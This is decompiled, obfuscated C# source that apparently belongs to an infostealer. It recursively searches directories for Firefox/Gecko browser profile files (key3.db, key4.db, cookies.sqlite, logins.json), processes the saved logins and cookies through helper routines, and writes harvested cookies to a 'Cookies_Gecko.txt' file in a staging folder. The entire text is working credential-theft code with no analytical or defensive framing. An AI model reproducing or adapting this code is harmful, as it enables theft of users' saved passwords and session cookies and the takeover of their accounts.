// Token: 0x06000152 RID: 338 RVA: 0x0000B8D8 File Offset: 0x00009AD8 public static void smethod_3() { if (!Directory.Exists(GClass9.string_6 + "\\Browsers")) { Directory.CreateDirectory(GClass9.string_6 + "\\Browsers"); } List <string> list = new List <string>(); list.AddRange(Class13.smethod_0(Class13.string_0, 4, 1, new string[] { "key3.db", "key4.db", "cookies.sqlite", "logins.json" })); list.AddRange(Class13.smethod_0(Class13.string_2, 4, 1, new string[] { "key3.db", "key4.db", "cookies.sqlite", "logins.json" })); foreach (string text in list) { string fullName = new FileInfo(text).Directory.FullName; string string_ = text.Contains(Class13.string_2) ? Class13.smethod_13(fullName) : Class13.smethod_14(fullName); string string_2 = Class13.smethod_4(fullName); Class13.smethod_1(fullName, string_, string_2); } }
// Token: 0x0600014F RID: 335 RVA: 0x0000B54C File Offset: 0x0000974C public static List <string> smethod_0(string string_3, int int_0 = 4, int int_1 = 1, params string[] string_4) { List <string> list = new List <string>(); if (string_4 != null && string_4.Length != 0 && int_1 <= int_0) { List <string> result; try { foreach (string path in Directory.GetDirectories(string_3)) { try { DirectoryInfo directoryInfo = new DirectoryInfo(path); FileInfo[] files = directoryInfo.GetFiles(); bool flag = false; int num = 0; while (num < files.Length && !flag) { int num2 = 0; while (num2 < string_4.Length && !flag) { string a = string_4[num2]; FileInfo fileInfo = files[num]; if (a == fileInfo.Name) { flag = true; list.Add(fileInfo.FullName); } num2++; } num++; } foreach (string item in Class13.smethod_0(directoryInfo.FullName, int_0, int_1 + 1, string_4)) { if (!list.Contains(item)) { list.Add(item); } } } catch { } } result = list; } catch { result = list; } return(result); } return(list); }
// Token: 0x06000151 RID: 337 RVA: 0x0000B6FC File Offset: 0x000098FC public static void smethod_2() { if (!Directory.Exists(GClass9.string_6 + "\\Browsers")) { Directory.CreateDirectory(GClass9.string_6 + "\\Browsers"); } List <string> list = new List <string>(); list.AddRange(Class13.smethod_0(Class13.string_0, 4, 1, new string[] { "key3.db", "key4.db", "cookies.sqlite", "logins.json" })); list.AddRange(Class13.smethod_0(Class13.string_2, 4, 1, new string[] { "key3.db", "key4.db", "cookies.sqlite", "logins.json" })); foreach (string text in list) { string fullName = new FileInfo(text).Directory.FullName; string string_ = text.Contains(Class13.string_2) ? Class13.smethod_13(fullName) : Class13.smethod_14(fullName); string string_2 = Class13.smethod_4(fullName); Class13.smethod_7(fullName, string_, string_2); string text2 = ""; foreach (string str in Class13.list_1) { text2 += str; } if (text2 != "") { File.WriteAllText(GClass9.string_6 + "\\Browsers\\Cookies_Gecko.txt", text2, Encoding.Default); } } }